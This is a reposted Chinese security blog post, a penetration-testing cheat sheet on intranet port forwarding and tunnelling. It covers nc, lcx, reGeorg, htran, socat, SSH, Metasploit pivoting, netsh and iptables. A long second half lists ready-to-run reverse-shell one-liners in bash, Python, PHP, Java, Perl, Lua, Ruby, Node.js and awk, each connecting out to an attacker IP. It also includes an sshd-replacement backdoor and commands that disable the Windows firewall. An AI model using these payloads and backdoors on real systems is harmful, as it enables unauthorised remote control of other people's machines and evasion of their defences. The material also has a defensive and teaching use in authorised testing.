小言_互联网的博客

内网小组 | 端口转发 全剧终

428人阅读  评论(0)

本文作者:掉到鱼缸里的猫(Ms08067内网安全小组成员)


文章来源|MS08067 内网安全知识星球

内网纵横四海  认准Ms08067


NetCat


方法一:

靶机:


   
  1. mkfifo /tmp/fifo
  2. cat /tmp/fifo| nc 想要转发的目标 想要转发到的端口 | nc -lp 监听端口> /tmp/fif

攻击机:nc -nv 靶机IP 靶机监听端口

反向Shell:

靶机:


   
  1. 方法一:nc -t -e cmd.exe 攻击机IP 攻击机监听端口
  2. 方法二:cat /tmp/fifo | /bin/bash -i 2>& 1 | nc 目标IP 端口 > /tmp/fifo
  3. 方法三:nc -e /bin/sh 10.0 .3 .4 4444 (后期的nc就没有-e的选项了)
  4. 攻击机(公网):nc -lvp 监听端口

不能转发3389

正向shell

靶机:


   
  1. $ mkfifo /tmp/fifo
  2. $ cat /tmp/fifo | /bin/bash -i 2>&1 | nc -l 本地端口 > /tmp/fifo 12

攻击机:nc 目标IP 端口

lcx


服务端:lcx -slave 公网IP 公网端口 本地IP 本地端口

公网客户端:lcx -listen 远程端口 本地端口

客户端连接本地端口,对应于连接远程端口

先启动listen,再启动slave

reGeorg


服务端:上传脚本到Web目录,服务器要求打开 enable_dl 功能

同时安装 php_sockets扩展客户端:

reGeorgSocksProxy.py -p 本地端口 -u http://目标服务器上的脚本

使用Proxifier将需要的流量引入本地端口sock5模式

有脚本可以指定不使用sock5协议

Tunna



   
  1. 靶机:上传脚本到Web目录,PHP就不要用了,及其不稳定
  2. 攻击机:proxy.py -u http: //脚本地址 -l 本地端口 -r 目标端口(服务器) -v

使用Proxifier将需要的流量引入本地端口sock5模式

使用 -n 参数关闭sock协议

这个False问题不大

不能用linux的rdesktop连接,要用Windows的远程桌面连接

这种情况问题也不大

点击是之前再运行一次脚本就行

reDuh


服务端:上传脚本到Web目录

客户端:java -jar reDuhClient.jar http://脚本位置 进行连接

本地连接java返回的本地端口 nc -vv localhost 本地端口

在命令提示符中输入 [createTunnel]本地空闲端口:目标地址(想要访问的目标内网地址):目 标端口

htran


服务器(目标主机):htran -slave 跳板IP 跳板port 本地ip 本地端口

跳板机:htran -tran 跳板port 公网IP 公网端口

客户端(公网主机):htran -listen 公网监听端口 流量接收端口

socat


靶机:socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:公网IP:公网端口

攻击机:socat TCP-LISTEN:端口 - ,nc监听也行

SSH


穿透两个网络

公网跳板A:跳板A在B和C的两个内网中间


   
  1. 打开sshd的Gateway功能:
  2. 修改/etc/ssh/sshd_config,将 GatewayPorts 设置为yes
  3. 内网 1中的B:ssh -p 22 -qngfNTR A
  4. 监听端 :localhost : 22 A用户@A地址
  5. 内网 2中的C:ssh -p A监听的端口 B用户@A地址

本地流量转发



   
  1. #VPS
  2. ssh -CfNg -L VPS端口:目标主机:目标端口跳板机用户@跳板机IP
  3. #攻击端流量到VPS端口,被转发

为什么说是“本地”(单纯的-L选项):

本地端口转发绑定的是 lookback 接口,这意味着只有localhost 或者 127.0.0.1 才能使用本机的端口转发 , 其他机器发起的连接只会得到“ connection refused. ”

但是可以利用GatewayPorts(-g)关键字来与其他机器共享这个本地转发端口。

远程转发



   
  1. #跳板主机
  2. ssh -CfNg -R VPS端口:目标主机:目标端口VPS用户 @VPS的IP
  3. #攻击端流量到VPS端口,被转发

动态转发



   
  1. ssh -CfNg -D 本地代理端口 VPS用户 @VPSIP
  2. #流量转发到VPS

两层ssh





   
  1. #Server2
  2. ssh -CfNg -D 8882 User_Server3 @Server3
  3. #Server1
  4. ssh -CfNg -L 8080:Server2:8882User_Server2 @Server2
  5. 客户端socks5代理Server1: 8080

NPS


Earthworm(EW)


EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。

iox


  • 具有流量加密

  • 友好的命令行参数

  • 逻辑优化

  • UDP流量转发

  • https://github.com/EddieIvan01/iox

ngrok


各种系统都支持,支持内网穿透

利用IIS端口共享功能


……说实话,没来得及尝试,单看文档没看懂

利用IIS的端口共享功能绕过防火墙

反弹shell

NC/Telent


telnet 可以换成 nc

方法一:


   
  1. 攻击机nc监听:nc -lp 空闲端口
  2. 服务端(靶机):mknod a p;telnet 攻击机IP 攻击机端口 0<a | /bin/bash 1>a

成功后没有提示,尝试命令即可

mknod命令中,a表示这个管道的名,p表示这个管道为FIFO(先进先出)和mkfifo一样,就是后面mkfifo/tmp/backpipe1这种

方法二:


   
  1. 攻击机:nc-lp 6666,nc-lp 5555,在监听的 6666的nc上输入命令,在 5555的nc上看返回的消息
  2. 靶机:telnet 攻击机 IP 6666| /bin/bash | telnet 攻击机 IP 5555

方法三:


   
  1. 靶机执行:netcat -lvp 5555 -e /bin/sh
  2. 攻击机执行:nc 靶机IP 靶机端口

方法四:


   
  1. 攻击机执行:nc-lvvp 5555
  2. 靶机执行:nc 攻击机IP 端口 -t -e /bin/bash

方法五:

mkfifo /tmp/backpipe1 | /bin/sh0</tmp/backpipe1 | nc回连地址6666 1 > /tmp/backpipe1

并不是所有的NC都有-e选项……有些设备可能/bin下面没有nc,但是busybox可以啊

bash 反弹shell



   
  1. 服务端:bash -i >& /dev/tcp /公网IP/公网端口 0>& 1
  2. 客户端:nc -lvvp 端口

加密流量参看权限维持笔记

利用awk、gawk


1. 攻击机执行监听

2. 靶机执行 


   
  1. awk
  2. ' BEGIN{s= "/inet/tcp/0/192.168.1.128/8080"; for(;s|&getline c;close( c)) while( c|getline) print|&s;close(s)}'

Python 反弹shell



   
  1. import socket,subprocess,os;
  2. s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); 
  3. s.connect(( "公网IP",目标端口)); 
  4. os.dup2(s.fileno(), 0); 
  5. os.dup2(s.fileno(), 1); 
  6. os.dup2(s.fileno(), 2); 
  7. p=subprocess.call([ "/bin/sh", "-i"]);

命令行直接执行 python -c '代码'

eval(__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.55 23333 >/tmp/f'))

php反弹shell



   
  1. $sock=fsockopen( "公网IP",端口);
  2. exec( "/bin/sh -i <&3 >&3 2>&3");

命令行执行 php -r '代码'

java反弹shell



   
  1. public class Revs {
  2. /**
  3. * @param args
  4. * @throws Exception
  5. */
  6. public static void main( String[] args) throws Exception {
  7. // TODO Auto-generated method stub
  8. Runtime r = Runtime.getRuntime();
  9. String cmd[]= { "/bin/bash", "-c", "exec
  10. 5<>/dev/tcp/192.168.3.251/8080;cat <&5 | while read line; do $line 2>&5 >&5; done"};
  11. Process p = r.exec(cmd); p.waitFor(); } }
  12. public class Test {
  13. public static void main( String[] args) throws Exception {
  14. // TODO Auto-generated method stub
  15. Runtime r=Runtime.getRuntime();
  16.   Process p=r.exec( new  String[]{ "/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.3.251/8888 0>&1"}); 
  17.   p.waitFor(); 
  18.   } 
  19. }

Perl反弹Shell



   
  1. use Socket;
  2. socket(S,PF_INET,SOCK_STREAM, getprotobyname( "tcp")); if( connect(S,sockaddr_in(端口,inet_aton( "公网IP"))))
  3. {
  4. open(STDIN, ">&S");
  5. open(STDOUT, ">&S");
  6. open(STDERR, ">&S");
  7. exec( "/bin/sh -i");
  8. };

命令行执行 perl -e ‘代码’


   
  1. perl -MIO -e '$p=fork;
  2. exit,if($p);
  3. $c=new
  4. IO::Socket::INET(PeerAddr,"1.1.1.1:8080");
  5. STDIN->fdopen($c,r);
  6. $~->fdopen($c,w);system$_ while<>;'

Lua



   
  1. lua -e
  2. "require('socket');require('os');t=socket.tcp();t:connect('192.168.3.251','80 80');os.execute('/bin/sh -i <&3 >&3 2>&3');"

Ruby



   
  1. ruby -rsocket -e 'exit if
  2. fork; c= TCPSocket.new( "192.168.3.251", "8080"); while(cmd= c.gets); IO.popen(cmd, " r"){|io| c. print io.read}end'

Node.js



   
  1. ( function(){
  2. var net = require( "net"),
  3. cp = require( "child_process"),
  4. sh = cp.spawn( "/bin/sh", []);
  5. var client = new net.Socket();
  6. client.connect( 8080, "10.17.26.64", function(){
  7. client.pipe(sh.stdin);
  8. sh.stdout.pipe(client);
  9. sh.stderr.pipe(client);
  10. });
  11. return /a/;
  12. })();

利用sshd反弹shell


方法一:


   
  1. 1. 靶机执行:ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8080;
  2. 2. 攻击机执行:ssh root@目标 -p 设置的端口 需要密码

方法二:

1. 靶机执行:


   
  1. cd /usr/sbin/
  2. mv sshd ../bin/
  3. echo '#!/usr/bin/perl' >sshd
  4. echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
  5. echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
  6. chmod u+x sshd
  7. /etc/init.d/sshd restart

2. 攻击机执行:

socat STDIO TCP4:192.168.1.129:22,sourceport=13377

MSF 反弹shell 一句话


msfvenom -l payloads | grep "cmd/unix"|awk '{print $1}'

xterm下反弹


  • 靶机运行 xterm -display 目标地址:1

  • 接收方运行 xnest :1

Metasploit穿透双层网络


攻击机通过两层跳板,对192.168.12.0/24网络进行扫描

1. 攻击机获得双网卡主机A的meterpreter会话

2. 执行命令,创建路由规则,只要会话不断开Metasploit框架就可以访问192.168.11.0/24网段

meterpreter> run autoroute -s 192.168.11.0/24

3. 配置流量转发代理


   
  1. meterpreter> background
  2. msf> use auxiliary/server/socks4a
  3. msf auxiliary(socks4a)> set srvhost 本机地址
  4. msf auxiliary(socks4a)> set srvport 想要监听的端口
  5. msf auxiliary(socks4a)> run

4. 在proxychains配置文件中添加sock4代理规则,即可通过proxychains实现流量转发

5. 实现端口转发

meterpreter> portfwd add -L 本地地址 -l 本地空闲端口 -p 目标端口 -r 目标地址

6.获取双网卡主机B的控制权(使用bindTCP的payload,因为反向shell无法路由到攻击机),获取到meterpreter会话之后添加路由规则

meterpreter> run autoroute -s 192.168.12.0/24

7. 再次配置流量转发代理(再开个新端口)

msf auxiliary(socks4a) > set SRVPORT 空闲端口

8. 修改proxychains配置文件,取消下文的注释,添加新的socks4代理


   
  1. dynamic_chain
  2. proxy_dns
  3. tcp_read_time_out 15000
  4. tcp_connect_time_out 8000

利用系统自带功能

Windows 双网卡路由


双网卡Windows主机作为路由:

1.通过注册表允许网卡进行流量转发: 修改以下注册表项目为1 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Services\Tcpip \Parameters 中的 IPEnableRouter 

2. 开启 Routing and Remote Access 服务

3. 两侧主机添加静态路由规则,路由指向双网卡主机

Windows netsh命令端口转发


管理员权限cmd执行 

netsh interface portproxy add v4tov4 listenaddress=本地iP listenport=本地端口 connectaddress=转发目标 connectport=转发端口 ( add 换成 delete 就是删除啦~)

不成功的话,先关闭防火墙

netsh firewall set opmode disable 或 netsh advfirewall set allprofiles state off

查看端口映射配置:

netsh interface portproxy show all

1.为e:\f.exe 添加防火墙规则,需要管理员权限。

>netsh advfirewall firewall add rule name="f.exe" dir=in program="e:\f.exe" action=allow

删除

netsh advfirewall firewall delete rule name="f.exe"

2、添加端口

netsh advfirewall firewall add rule name="HTTP" protocol=TCP dir=in localport=8080 action=allow

删除

netsh advfirewall firewall delete rule name="HTTP" protocol=TCP dir=in localport=8080

iptables



  • PREROUTING:在进行路由判断之前所要进行的规则(DNAT/REDIRECT)(数据包进入主机后第一步),决定目标地址的改变与否 + 上下路的判定(是过滤型防火墙还是NAT防火墙)。

  • INPUT:处理入站的数据包

  • OUTPUT:处理出站的数据包

  • FORWARD:是否允许被防火墙继续转发 + 是否允许使用Linux的路由/转发功能。

  • POSTROUTING:对数据包在经过路由表之后,最后一个处理步骤(数据包流出主机前最后的步骤),决定数据包是否需要改变 源地址。

两条链重要功能在于修改IP,而这两条链修改的IP又是不一样的,POSTROUTING在修改来源IP,PREROUTING则在修改目标IP 。

由于修改的 IP 不一样,所以就称为来源NAT (Source NAT, SNAT) 及目标 NAT (Destination NAT, DNAT)。

只用POSTROUTING:从请求侧来看的话,只修改源IP

iptablest natA POSTROUTINGs 192.168.10.10o eth1j SNAT --to-source 111.196.221.212

两个结合起来就可以当做端口转发了:


   
  1. iptables -t nat -A PREROUTING -p tcp --dport 本机监听端口 -j DNAT --to- destination 目标IP:端口
  2. iptables -t nat -A POSTROUTING -d 目标主机 -j SNAT --to-source 本机IP

参考

常见端口转发工具的使用方式

浅谈内网端口转发

Linux iptables用法与NAT

扫描二维码学习各类安全技术,邀请进入内部微信群!

 

目前36000+人已关注加入我们



转载:https://blog.csdn.net/shuteer_xu/article/details/114528859
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场